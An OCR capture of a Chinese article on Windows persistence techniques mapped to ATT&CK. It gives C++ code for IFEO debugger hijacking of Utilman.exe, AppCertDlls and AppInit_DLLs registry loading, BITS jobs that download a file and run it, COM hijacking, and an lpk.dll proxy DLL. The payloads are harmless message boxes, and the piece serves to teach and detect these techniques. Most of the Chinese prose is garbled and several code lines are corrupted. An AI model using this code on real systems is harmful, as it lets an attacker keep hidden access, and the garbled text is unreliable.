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HKEY hKey;
const char path[] = "C:\\hello.exe";

RegCreateKeyExACHKEY_LOCAL_MACHINE, "Software\\Microsoft\\WindowsNT\\CurrentVersi
on\\Image File Execution Options\\Utilman.exe", @,NULL, @, KEY_WRITE, NULL, &hKe
y,&dwDisposition);

RegSetValueExA(hKey, "Debugger", @, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)))

L2, BIECORFEREIENOER, XTRORXHNBN, TIRIED, XELERTTH.
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b~ Ju Fontlink

- . FentMapper

\y Fonts

. FontSubstitutes

i -y GRE_Initialize

b ICM

4 - || Image File Execution Options
| L)l DINXOptions

. GoogleUpdate exe
, idag.exe

, idag6d.exe

, idaw.exe

, idawtd exe

. IEInstal.exe
=
- ), IniFileMapping
-}y InstalledFeatures

KnmwnFunctinnTabklallle

WERBRAE

HBE“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Option" &R ZPHITEFBIR

https://paper.seebug.org/1007/ 4/62



2019/8/17 ATT&CK 2 51 THAfk
HEeERTrEENTIEERE

REEA: C\Windows\System32\osk.exe

R : C:\Windows\System32\Magnify.exe

3ZH: C\Windows\System32\Narrator.exe

ERFX: C\Windows\System32\DisplaySwitch.exe
MAFRFEFX: C:\Windows\System32\AtBroker.exe
MERTDHRSRAE R B EMRTEHEXMERITA,

HIEEN ZAppCertDlls ;RN
RBREFENE

WMRAHFZER T CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW.,
CreateProcessWithTokenWa{WinExec R, BRALLHFZERIREX
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDIIsjE &
I, LI FRdIERSINEEILEHTE

Win7hR AT 3% B "AppCertDIIs'Ti, FEECBIEZ.
KB

HKEY hKey;
const char path[] = "C:\\dl1.d11";

RegCreateKeyExXACHKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session
Manager\\AppCertD1ls", @, NULL, @, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExAChKey, "Default", @, REG_SZ, (BYTE*)path, (1 + ::1lstrlenA(path)));

DIfHS:
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BOOL TestMutex()

{
HANDLE hMutex = CreateMutexA(NULL, false, "myself");
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hMutex);
return 0;
}
return 1;
}

BOOL APIENTRY D11Main( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpRese
rved)

{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
if (TestMutex() == 0)
return TRUE;
MessageBoxA(@, "hello topsec","AppCert",0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
3

return TRUE;

BITHCRE
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HKEY hKey;

DWORD dwDisposition;

const char path[] = "C:\\AppInit.dll";

DWORD dwData = 1;

ATT&CK 2 J5 1 1 Ak

RegCreateKeyExACHKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVers
ion\\Windows", @, NULL, @, KEY_WRITE, NULL, &hKey, &dwDisposition);

RegSetValueExA(ChKey, "AppInit_DLLs", @, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(pat

h)3J;

RegSetValueExA(ChKey, "LoadAppInit_DLLs", @, REG_DWORD, (BYTE*)& dwData, sizeof(D

WORD));
IBITRE

Bl a0 FEIFfR:
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e |E(E) BBV WEs=A) EEH)
| Time Zones
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UnattendSettings
Userinstallable.drivers
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Windows Photo Viewer
Windows Portable Devices
Windows Script Host
Windows Search
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Workspaces

WwanSvc

izfTcmd.exe, FEKMcmd.exeBRMNEIEE, FEIE,

B C\Windows\system32\cmd.exe

hello topsec
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"b| Appinit_DLLs REG_SZ Chapplnit.dll

TeDdecendlime... REG DWORD __ U=oooooooo

W% DesktopHeapl... REG_DWORD 000000001 (1)

ab DeviceMotSele... REG_SZ 15

Ws| GDIProcessHa... REG_DWORD 0x00002710 (10000)

ab|lconSenvicelib _ REG SZ lconCodecService.dll
I‘-’-'o' LoadApplnit_D... REG_DWORD 00000001 (1)

We| ShutdownWar... REG_DWORD OxcFHFH (4294967295)

ab|Spooler REG_SZ yes

ab| TransmissionR... REG_SZ a0

e USERNestedW... REG_DWORD 0x00000032 (50)

e USERPostMess... REG_DWORD 0x00002710 (10000)

el USERProcessH... REG_DWORD 000002710 (10000)

getPrivieges

| Accessibility Features

Handle or DLL substring:  ApplInit.dll
Process PID Type Name

I::l:l. exe 3636 DLL C:\AppInit. dll ]
Searchfr e LULL C:\Applnit. dil
WMIADAF. exe 4012 DLL C:\AppInit. dll

8/62



2019/8/17 ATT&CK Z )51 1H Atk
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3. MMA DT E MR RIBAIAPIEAR, iRegCreateKeyExHIRegSetValueEx,

BITS AY:R &N
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YESEERERN, BITSESTSHEIT.

BITSRARIIEBEXHEH, — P BITSRIEEH—TTNAREFCIE—ESmAFE. —MESHME—
BB, EE— DU PEERBMIUE., FRIBNESEEN, SEEBENRES BARURIERINNX
B, THESTUEESEEZNY, MEEESPFREE—IXH., aTUAZTTIXEEERME.
SEWMECZEENNAREFNLZE ST, BITSIREAPHEORZHIES, BIRETUFRE. &
b, EE. #EESUERERRES. EEs—MIEHH, WIS EEEEN T EmASTIhEMESEN
MER, FINERT, MEESHYURERNLR, MESTUBIZERNS. BRFBIAMNAR. BITSHE
MEEERE, RIETANSAMETRRIEMIHD (0H) FmER, MR— 1 WNENEER
FiaEREZ TR, BITSERFIEERERMRMEAFHNRER AR, BERISMARITESERIN.
BITSHIAE XA DB A8 MESERNE NG, —NMESHEREN, 3—MESTENSIRER
BN, BEMEARNESBRERZNNE R, BITSKBRWHHIGIEREMILRAES, HEHLEX
MEMESEZENIERITS.

E AT Windows UpdatefIZ&e 2t E 5,

BITSAdmin, BITSEETH, REEBITSESHNWHLTIE.

FRSS:

SIHEFAE{ES: bitsadmin /list /allusers /verbose

BERFEMES: bitsadmin /cancel <Job>

MIBRFAE1ES: bitsadmin /reset /allusers

SER{ESS: bitsadmin /complete <Job>

TREEESHIUT:
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bitsadmin /create TopSec

bitsadmin /addfile TopSec https://gss3.bdstatic.com/7Po3dSag_xI4khGkpoWK1HF6hhy/
baike/w¥%3D268%3Bg%3D0/sign=860ac8bc858ba6ledfeecf29790ff037/b3fb43166d224f4al79b
bd650ef790529822d142.jpg C:\TopSec.jpg

bitsadmin.exe /SetNotifyCmdLine TopSec "%COMSPEC%" "cmd.exe /c bitsadmin.exe /co
mplete \"TopSec\" && start /B C:\TopSec.jpg"

bitsadmin /Resume TopSec

THERIIEEXHRE, TREEEITHAEAR.

RERAINITF, BAMRARITES _#HETERF . MBITSX A PI MU E4ETIERTIE,
FIA T EMERRERRENEEMEEENIBITRIRIE.

MIERSTR S complete"X£i8, AT TENE, KB THANTRERS S KRR, K150
T
void BitsJob()
{
char szSaveName[MAX_PATH] = "C:\\bitshello.exe";
if (FALSE == m_Bits)
{
// BER
BOOL bRet = FreeMyResource(IDR_MYRES22, "MYRES2", szSaveName);
WinExec("bitsadmin /create TopSec", 0);

WinExec("bitsadmin /addfile TopSec \"C:\\Windows\\system32\\cmd.exe\"
\"C:\\cmd.exe\"", 0);

WinExec("bitsadmin.exe /SetNotifyCmdLine TopSec \"C:\\Windows\\system32
\\cmd.exe\" \"cmd.exe /c C:\\bitshello.exe\"", 0);

WinExec("bitsadmin /Resume TopSec", 0);

m_Bits = TRUE;
else

WinExec("bitsadmin /complete TopSec", 0);
remove(szSaveName);
m_Bits = FALSE;

3

UpdateData(FALSE);

RIRARSTARIRTS, EEM< bitsadmin /complete TopSec”,

BITHRE
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BITZRE, BNEICENcmd.exelgBHM, AMKRAELEIHEIE.

A
=

Backup 2019/7/19 16:42

PerfLogs y 20007414 10:37
Program Files
Python27
Tools
vir
Windows
B

%) Applnit.dll

8 | bitshello.exe

BEBITSESIIR, KIMESRATFE

BN EEGA: C\Windows\system32\cmd.exe

BITSAdmin i eprecated and is not guaranteed to be available in future
Administrati tools for the BITS service are now provided by BITS Powe

{AVEDEG?B-EFC2-4D18-98E7-DB47882B2941> DISPLAY: "TopSec’

OUNLOAD STATE: TRAMSFERRED OWMER: WIN-BLRRE8 4H6 15 ph—win?
PRIORITY: HORMAL FILES: 1 ~ 1 BYTES: 301568 ~ 301568
CREATION TIME: 28197~ 1@:13:16 MODIFICATION TIME: 2819%.-7-23 18:13:16
COMPLETION TIME: 28179 1@:13:16 ACL FLAGS:
NMOTIFY INTERFACE: UWREGISTERED NOTIFICATION FLAGE: 3
RETRY DELAY: 688 NO PROGRESS TIMEOUT: 1209688 ERROR COUNI: @
PROXY USAGE: PRECONFIG PROXY LIST: HULL PROXY BYPASS LIST: HULL
DESCRIPTION:
JOB FILES:

3101568 ~ 391568 WORKIN -
MOTIFICATION COMMAMD LIME: 'C:sMWindows stem32~cmd.exe’ ‘cmd.exe Ao
ouner MIC integrity level: HIGH
owner elevated 7 true

Peercaching flags
Enable download from peers
Enable serving to peers

CUSTOM HEADERS: NULL

Listed 1 joh<

ERITEN, RMBHEIEE, BITSESKAFE.

https://paper.seebug.org/1007/
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| getPrivieges

yes

hitshello.exe
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R R

GUID: {APEDE6G?B-EFC2-4D1A-98E7-DB47082B2941> DISPLAY: 'To
TYPE: MLOAD STATE: TRANSFERRED OWNER: WIN-BLRRBCGG4H6 15pb—win?
PRIORITY: MORMAL FILES: 1 ~ 1 BYTES: 381568 ~ 381568
UCREATION TIME: 2019723 1@8:13:16 MODIFICATION TIME: 2019-7-23 18:13:16
COMPLETION TIME: 2819-7-23 1B:13:16 ACL FLAGS:
HOTIFY INTERFACE: UNREGISTERED NOTIFICATION FLAGS:= 3
RETRY DELAY: 688 NO PROGRESS TIMEOUT : 12689688 ERROR COUNT: @
PROXY USAGE: PRECONFIG PRORY LIST: NULL PROXY BYPASS LIST: MULL
DESCRIPTION:
JOB FILES:

391568 ~ 381568 WORKING C:\Windows“sy >
NOTIFICATION COMMAND LINE: *C:“Windows s . cnd.exe sc C itshello.
owner MIC integrity level: HIGH
owner elevated 7 true

Peercaching flags
Enable download from peers

Enable serving to peers

CUSTOM HEADERS: MNULL

HATE < "bitsadmin /complete TopSec”, HILEE M EICEMFEF cmd.exe ST/ .

Bl B=Em LAWIingows\systema3Z\cma.exe

Listed 1 job{s).

HE v BT o
C:~>hitsadmin scomplete TopSec
- "
BITSADMIN version 3.8 [ 7.5.7688 1
E Backup BITS administration utility.
9] PerfLogs (C>» Copyright 28088-2806 Microsoft Corp.
FhiEps Program Files BITSAdmin is deprecated and is not guaranteed t
Python27 Administrative tools for the BITS s ice are n
Tools
vir Job completed.
7 i
" Windows C bitsadmin /list sallusers Averhose
mil
5 4] Applnit.dll BITSADMIN version 3.8 [ 7.5.7688 1
E , X BITS administration utility.
S ——— (C>» Copyright 2080-2006 Microsoft Corp.
BN cmd.exe
il BITSAdmin is deprecated and is not guaranteed t
. ©) Administrative tools for the BITE service are n

Listed B job{(s).

WERFRAE

BITSEIRSBHVIZITIRS I LMERSCEBRZF R (8L scquery bits) , {E5FIZRABITSAdmIn3E
i), WO EBITSERAIMEERN.

Com‘B{4&his

I RIFEENE

COMRComponent Object Model ((HENIRIER) MNHES, COMéH#EEDLL*DEXEFZTEEE’\JEHH
TRBEFER . 8T COMALEEF—CLSID, ‘i’\CLSID%EEHHE’\]ET{I?E'%L/IHHEQE’] AT X

CLSIDIZfEN X T EHRE T BASLHIRF R —NID, XiFFAIE 1’EHIIHH§¢E’JCLSID§ET32§U
COMABHRRTERIIIBIRTR,

ERIAZRBCOM#IE, HIFEOHEACLSID, REXFENFEE HICLSID, X8, IHALEFEAMICLSID
H: {b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}, SIS CAccPropServicesClass
MMDeviceEnumerator Hiifs . RARZIEEREFBEHINEEFBXM NI, Hla0itE:s.

https://paper.seebug.org/1007/
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DI1EMAINIE: //%APPDATA%Microsoft/Installer/{BCDE@395-E52F-467C-8E3D-C4579291692
E}

ETEMEBESCEMER, AREERZRNY, BARABAT:

https://paper.seebug.org/1007/ 13/62
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void CPersistenceDlg: :comHijacking()

{
HKEY hKey;
DWORD dwDisposition;
//%APPDATA%Microsoft/Installer/{BCDE@395-E52F-467C-8E3D-C45792916//92E}

char systeml[] = "C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Installer
\\{BCDE@395-E52F-467C-8E3D-C4579291692E}\\TopSec.d11";

char system2[] = "Apartment";

string defaultPath = "C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Instal
1er\\{BCDE@395-E52F-467C-8E3D-(C4579291692E}";

string szSaveName = "C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Install
er\\{BCDE@395-E52F-467C-8E3D-(C4579291692E}\\TopSec.d11";

if (FALSE == m_Com)
{
//string folderPath = defaultPath + "\\testFolder",
string command;
command = "mkdir -p " + defaultPath;
system(command.c_str());
/7 BER
BOOL bRet = FreeMyResource(IDR_MYRES23, "MYRES2", systeml);
if (ERROR_SUCCESS != RegCreateKeyExA(CHKEY_CURRENT_USER,

"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bdd0b4a5e7}\\1
nprocServer32", @, NULL, @, KEY_WRITE, NULL, &hKey, &dwDisposition))

{
ShowError("RegCreateKeyExA™);
return;

}

if (ERROR_SUCCESS != RegSetValueExA(hKey, NULL, @, REG_SZ, (BYTE*)system
1, (1 + ::1lstrlenA(systeml))))

ShowError("RegSetValueEx");
return;

}

if (ERROR_SUCCESS !'= RegSetValueExA(hKey, "ThreadingModel", @, REG_SZ,
(BYTE*)system2, (1 + ::lstrlenA(system2))))

{
ShowError("RegSetValueEx");

https://paper.seebug.org/1007/
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return;
}
: :MessageBoxA(NULL, "comHijacking OK!", "OK", MB_0K);

m_Com = TRUE;

else

if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,

"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bdd0b4a5e7}\\I
nprocServer32", @, NULL, @, KEY_WRITE, NULL, &hKey, &dwDisposition))

{
ShowError("RegCreateKeyExA™);
return;
}
if (ERROR_SUCCESS != RegDeleteValueA(hKey, NULL))
{
ShowError("RegDeleteValueA™);
return;
3
if (ERROR_SUCCESS !'= RegDeleteValueA(hKey, "ThreadingModel"))
{
ShowError("RegDeleteValueA™);
return;
3
remove(szSaveName.c_str());
remove(defaultPath.c_str());
: :MessageBoxA(NULL, "Delete comHijacking OK!", "OK", MB_OK);

m_Com = FALSE;

}
UpdateData(FALSE);
}
BITHRE

BIT/E, XHEMERRNT:
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o
|. « Installer » (BCDEO395-E52F-467C-BE3D-C4579291692E) - | 4y || HEE (BCDEO395-E52F-4

S S SR T e & o

BiR v B25RH - HE ~ L e o

+r s =i Eae =i : #
s = | [= TopSecdll 2019/7/24 10:49 ,—.:-E_E%—é
W= J

WEE) BV SEESA) mm)
html - || & =E i
idb | REG_SZ CA\Users\TapSec\AppDataiRoarming\Microsolt\Installer\(BCDEO30S-ES2F-4

pap 2| TheeadingMed... REG_SZ Apartment
shtm|

i

html

ApplD

Apphcations

Charles. AMF.Document

. Charles, Docurment

>~ i Charles, HAR.Document

, Charles PCAP Document

CLEID

+— Ju {3CTOZAET-E9T3-4700-B3562-26185640

- "
|, InpracServera2 ]
L ftp
o) http

L

BITITEES, BHIEE:

....... - e s e [ —— ———— - —

i HE = P :
i i ¥ Process Explorer Search - - | -
EE(V) F8(E) =EH) -
Handle or DLL substring: |  TopSec.dl Cance|
e topsecl Process PIJ? Trpe Naze
cale. exe 3636 [DLL C:\Users'TopSec'Applata'\Roaming\Microsoft' Inst. I
hello topsecl
| il R el 5
1 matching items. |F¥ =

WERBRAE

HTCOMNRZHRERAMELRRRUNGIERND, RWEZMEIENCOMYRNERTEZWIESR
MINEEr-4£RIERA. 2T, EFARRRRIIBENREZEEN.

MAECOMMRAEMRIAERDREEN, SEAEMBRN _HEINFZERERAEINFEE
MIEEFHAE PRI AT, ERERIRNTHN, NMIZATRE, B, URKENOTER
DLLINZE, fE(E5 COMMSIEMRIEDAAXRNIFZHDLLINTER A BERIAEHITCOMENFF

DLLENS
RBREFENA
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RETEF, WindowsBEIEHRZENG, SNREBEFLLHZINERN, EREESMDLLINBRIERN
EFZEH, B2, XEHITXEH A ERRIEDLLEXERAFNRYIMNE ., N T ERRX O,
Windows 3] 7 R EI B R RINF, EATUKEXLDLL,
AA(ERADLLERINFEUAT2EBEHEZEDLLIEREL,
WindowsXPERINB R T2HALZEDLLERER . ZEHRIANESHZEDLLIEREELR

EEFEAILINEE, FRIZEHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session
Manager\SafeDlISearchModei ¥t R{E, 0RZEIL, 1ABH.

SafeDLLSearchMode/zAfG, BRI T:
1. NERRINE N ARFHIER.
2. REBF., {FRGetSystemDirectory R EFREULL B Z AR,
316U RSB R, RARBILBRNEEZNRE, ESERE,
4. WindowsH &, {#AGetWindowsDirectoryREEREULLEF,
5. HEIE R,
6. PATHIMRZEHIIHANBE R,

SafeDLLSearchModeZ /5, EZRIGFUT:
1. NEHRIIS N AR E R
2. SRR R
3. RFEF. {FAGetSystemDirectory R EFRENL: B FAVERR.
4 16MIRFBR. RERBLBEZNRZNREY, ESRRE.
5. WindowsB &, {#RGetWindowsDirectoryR KB B %,
6. PATHIMRZEHIIHANBE R,

DLLENHSHI AR RINF R MFEEDLLAR B SIADLL, MR AR FERWindowsHIDLLIEZkRE K
DLL, BREEFMIEEADLLAINFEFLESAEDLLESHMUE, NNBRFIEMBEZDLL,

ARSI RSRER, AIMMGAFER. $ISAREFERRS, MEAPEFUEHY
M, FEEAXNER, ZRERENFTRARER.

B AE AN :
Ipk.dil, usp10.dll, msimg32.dll, midimap.dll, ksuser.dll, comres.dll, ddraw.dll

MIpk.dligFl, explorerREZFRIEFEMEIpk.dll, HHENKE/FIpk.AIERNE T, T
lpkdliZfE, SREMALS, BCHipkdIFEMSE, M TIHIAAKEHHER.

THEHMEEWE—pk.dIl:

1. BRZLE THIpk.dIISAIDA, EESHKRNEE
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I0A View-A [ | [O] Hex View1 [ | Structwres (| | [E] Enwns () | BE Impor
MName Address Ordinal
| LpkTabbedTextOut 402C54F3 1
™| LpkDllInitialize 402C136C 2 [main entry]
| LpkDrawTextEx 402C1770 3
E, LpkEditControl 402C706C 4
] LpkExtTextOut 402C194E 5
#| LpkGetCharacterPlacement 402C4F0E 6
4| LpkGetTextExtentExPoint 402C1DD5 7
LpkInitialize 402C13F5 g
#| LpkPSMTextOut 402C4251 9
LpkUseGDIWidthCache 402C1BE4 10
ftsWordBreak 402C5982 11

LpkDllInitialize 402C136C i

L )
= rale o AN

2. #E— N lIpk.dI— SR

3. MFB ARG B R THIpk.DLL;

4. BSHREERIIARGB R THLPKDLLE
5. TERNIA R BRI BRI EMITHIR D,

BRdICHET:

https://paper.seebug.org/1007/
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#include "pch.h"
#include <windows.h>
#include <process.h>

// SHRE

#pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")
#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadlLib_LpkTabbedTextOut,@
2")

#pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadlLib_LpkD1lInitialize,@
3"

#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")
#pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")
#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadlLib_LpkGetCharac
terPlacement,@7")

#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadlLib_LpkGetTextExt
entExPoint,@8")

#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@3")
#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadlLib_LpkUseGDIWidthCac
he,@10")

#pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadlLib_ftsWordBreak,@11™)

// BEX

#define EXTERNC extern "C"

#define NAKED __declspec(naked)

#define EXPORT __declspec(dllexport)

#define ALCPP EXPORT NAKED

#define ALSTD EXTERNC EXPORT NAKED void __stdcall

#define
#define

ALCFAST EXTERNC EXPORT NAKED void __fastcall
ALCDECL EXTERNC NAKED void __cdecl

//LpkEditControl SHWEHA, T2 MK (by Backer)

EXTERNC void __cdecl AheadLib_LpkEditControl(void);

EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = { AheadlLib_LpkEditC
ontrol };

//RNEREE

BOOL g_bInited = FALSE;
// AheadlLib &8
namespace AheadlLib

{

HMODULE m_hModule = NULL; /7 TRIAEIR AR

// INERIBER
BOOL WINAPI Load()

{

}

TCHAR tzPath[MAX_PATH];
TCHAR tzTemp[MAX_PATH * 27;

GetSystemDirectory(tzPath, MAX_PATH);

1strcat(tzPath, TEXT("\\1lpk.d11"));

OutputDebugString(tzPath);

m_hModule = LoadlLibrary(tzPath);

if (m_hModule == NULL)

{
wsprintf(tzTemp, TEXT("FiEMNE %s, BFILEAEEET. "), tzPath);
MessageBox(NULL, tzTemp, TEXT("AheadLib™), MB_ICONSTOP);

3

return (m_hModule != NULL);

// BRIRIBIRIR
VOID WINAPI Free()

{

if (m_hModule)

{
FreeLibrary(m_hModule);

}

https://paper.seebug.org/1007/
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// 3RENRIA R E L
FARPROC WINAPI GetAddress(PCSTR pszProcName)

{
FARPROC fpAddress;
CHAR szProcName[16];
TCHAR tzTemp[MAX_PATH];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == Q)
{
wsprintfA(szProcName, "%p", pszProcName);
pszProcName = szProcName;
}
wsprintf(tzTemp, TEXT("TEKEIRE %hs, BELELERIET. "), pszProcNam
e);
MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
ExitProcess(-2);
}
return fpAddress;
}
}
using namespace Aheadlib;
/ /R E SRR

void WINAPIV Init(LPVOID pParam);
void WINAPIV Init(LPVOID pParam)

{
MessageBoxA(@, "Hello Topsec", "Hello Topsec", 0);//TEXERIMDLLINFHD
return;

}

// NORER

BOOL WINAPI D11Main(HMODULE hModule, DWORD dwReason, PVOID pvReserved)

{

if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
if (g_bInited == FALSE) {
Load();
g_bInited = TRUE;
}

//LpkEditControl X TMABI4 KA, DIEHERIINR

memcpy((LPVOID)(LpkEditControl + 1), (LPVOID)((int*)GetAddress("LpkEditC
ontrol") + 1), 52);

_beginthread(Init, NULL, NULL);

}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}

return TRUE;
}
// SHRE
ALCDECL AheadLib_LpkInitialize(void)

{
if (g_bInited == FALSE) {
Load(Q);
g_bInited = TRUE; A
}
GetAddress("LpkInitialize™);
__asm JMP EAX;
}

// SHRE
ALCDECL AheadlLib_LpkTabbedTextOut(void)

https://paper.seebug.org/1007/ 20/62
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{
GetAddress("LpkTabbedTextOut");
__asm JMP EAX;
}
// SHRER
ALCDECL AheadlLib_LpkD11lInitialize(void)
{
GetAddress("LpkDl1lInitialize");
__asm JMP EAX;
}
// SHRER
ALCDECL AheadLib_LpkDrawTextEx(void)
{
GetAddress("LpkDrawTextEx");
__asm IMP EAX;

// SR
ALCDECL AheadLib_LpkEditControl(void)
{
GetAddress("LpkEditControl™);
__asm jmp DWORD ptr[EAX];//XEMLpkEditControl 24, eaxFMIRREIEH

// SHRE
ALCDECL AheadlLib_LpkExtTextOut(void)
{
GetAddress("LpkExtTextOut");
__asm IMP EAX;

// SHRE
ALCDECL AheadlLib_LpkGetCharacterPlacement(void)
{
GetAddress("LpkGetCharacterPlacement™);
__asm IJMP EAX;

// SHERE
ALCDECL AheadlLib_LpkGetTextExtentExPoint(void)
{
GetAddress("LpkGetTextExtentExPoint");
__asm IMP EAX;

// SHRE
ALCDECL AheadlLib_LpkPSMTextOut(void)
{
GetAddress("LpkPSMTextOut");
__asm JMP EAX;

// SHRE
ALCDECL AheadlLib_LpkUseGDIWidthCache(void)

{ A
GetAddress("LpkUseGDIWidthCache™);

__asm JMP EAX;

https://paper.seebug.org/1007/ 21/62
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// SHRER
ALCDECL AheadlLib_ftsWordBreak(void)

{
GetAddress("ftsWordBreak");

__asm JMP EAX;

REBBUTHREE
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager
ExcludeFromKnownDlls, Elpk.diifni#s,

HKEY hKey;

DWORD dwDisposition;

const char path[] = "lpk.dll";

RegCreateKeyExXACHKEY_LOCAL_MACHINE," System \\ CurrentControlSet \\ Control\\ Se
ssionManager ", @, NULL, @, KEY_WRITE, NULL, &hKey, &dwDisposition));

RegSetValueExAChKey, NULL, @, REG_MULTI_SZ, (BYTE*)path, (1 + ::lstrlenA(pat
hd));

BITHRE

B4R MIpk.dilElc:/Windows B 3%

v THENL » FHIEESE (C) » Windows »

=F Windows

ZEEFR - 23 v =
25 ’ EGL A
.. Web 2009/7/14 12:52 =
| winsxs 2016/9/23 11:28 g ===
. zh-CN 2009/7/14 16:27 =
e (7| _default 2009/6/11 5:42 i&FE MS-DOS
7 bfsvc.exe 2009/7/14 9:14 RIfEEE
|| bootstat.dat 2019/7/23 14:26  DAT i
. explorer.exe 2009/10/31 13:45 RHAERF
®7 fveupdate.exe 2009/7/14 9:14 RFEERF
0 HelpPane.exe 2009/7/14 9:14 REERE
e SRR e eeegeae s G
|| lpk.dll 2019/7/23 11:11 RAEFTE
| ] mib.bin 2009/7/14 6:58 BIN 324§
) % msdfmap.ini 2009/6/11 5:1%" . | ESERE
_| notepad.exe 2009/7/14 9:14 - WEERE

ERRL, BRHMIEE
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Hello Topsec

TELHAS Hello Topsec

Eikexplorer, HNEAYERFAINpk.dII

[ - - »
B Process Explorer search ST T RN e
|
/| Handle or DLL substring:  Ipk.dll [Fﬂﬂ’ﬂ'l ] l Cancel
A
1 Process PID Ivpe Name au
I svchost.exe 1136 DLL C:\Windows'Srstem32'\1pk. d11
"l |svehost. exe 1260 DLL C:\Windows'Srstem32’ 1pk. dll
| st —_—
| C:\Windows'\lpk. dl1
I'JH'!J 0Ll [N DT Y k! = = a
I vatoolsd... 1516 ©DLL C:\Windows'Srstem32\lpk. d11 H| ”
spoolsv. exe 1568 DLL C:\Windows'Srstem32'\ 1pk. d11
svchost. exe 1608 DLL C:\Windows'Srstem32'\lpk dl1
taskheost... 1644 DLL C:\Windows'\Srstem32\lpk. d11 - |
< |

EMERERAT
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HHHP WBE) SV o) W)

aid Session Manager I || & =0 mE
! —di Applompattache ab] (BhiA) REG_SZ EEHEE
ki AppPatches 8] BootExecute REGMULTLSZ  autocheck autochk *
e c"”ﬂg"r‘_‘""“ Manager 4| CriticalSectionTimeout REG DWORD 0:00272400 (2592000
Ji DOS Device ab] ExeludeFromKnownDlls REG_MULTISZ  Ipk.dll
. E"“':h'_““'"' T GlobalFlag REG_DWORD 0x00000000 (0)
W e . % HeapDeCommitFreeBlockThreshold  REG_DWORD 0x00000000 ()
i FileRenameOperations %4 HeapDeCommitTotalFreeThreshold  REG_DWORD 0x00000000
-} YO System #4Heap ommitTotalFreeThres i (0]
. kernel 5| HeapSegmentCommit REG_DWORD (00000000 (0)
M "
J KnownDLLs 74 HeapSegmentReserve REG_DWORD 0x00000000 (0)
Ji Memory Management 4 NumberOfinitialSessions REG_DWORD (00000002 (2)
) Power 35_'Dhjec'tDirecturies REG_MULTI_SZ Windows \RPC Control
| Quota System s ?»'.l ProcessorControl REG_DWORD 00000002 (2)
» i SubSystems || %4 ProtectionMode REG_DWORD 000000001 (1)
i 5o WPA | ResourceTimeoutCount REG_DWORD 00009 340 (548000)
[ bl SNMP ] SetupExecute REG_MULTLSY - ’
~ ), SQMServicelist y

WERBRAE

ERLZEDLLEREN, SIEXMWindowsEMRRE (T
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode

WAINEBEHZPADLL, FHHENEBHEXGRERZFENDLL,

winlogon helper
[FERAENE
Winlogon.exei#f2@WindowsiRERLEPIFEEEMN—F 2, WinlogonAFHITSWindowsE Fxid

REXMNEMARES, FlW, SEAFPERE, Winlogon#fzfigAF RE X MEELEME
¢O

Welcome to Windows

Copyright € 1985-2001
Microsoft Conporation

@h Press Ctrl-alt-Delete to begin.

Requiring this key combination at startup helps keep wour
computer secure, For more information, click Help.

Winlogoni# %E HOOKR IR In iz B T L T Ctrl + Alt + Delete, X#EFRH“Secure Attention
Sequence”, EMBAMTA—LRARRENEREEZERAIRCLrl + Alt + Delete, XFPEEARIER
HEEEWinlogon.exelfiiR, BREBLEEREH, HMEFTERRMIETRNNEBIRIE R
HEE, WindowsE RN ARFASHRAPNEENENGS), E—RNERKINBENBITED
NEMRERIFER.

B2, Winlogon@&RIRRHXEEY, TENEERRIET. IREEXE, Microsoftifizfit
Winlogon# 2R IMATFZARIEAR (https://msdn.microsoft.com/en-
us/library/windows/desktop/aa379434(v=vs.85).aspx), fELtARBER
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EEMRIHKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\#ll
HKCU\Software\Microsoft\Windows NT\CurrentVersiom\Winlogon\FA F &3z 3FWinlogonf 3B
RREMY RIDEE, WXETMRIMAERIE AT RESEWinlogon NEFAHATHEDLLEL FIHAT X 4,
EXMMNUTFINA R B EEA B
Winlogon\Notify - $§E14EWinlogon B4 #95@E AN EDLL
Winlogon\Userinit - $§[@userinit.exe, BN EZEHITHBFDBLRER
Winlogon\Shell - $§@lexplorer.exe, BNFAFZEZIHITHZRSshell

KiHE PR AXLEEEES HTERERBEIIIFRAE], UTHRBERTNEEIE
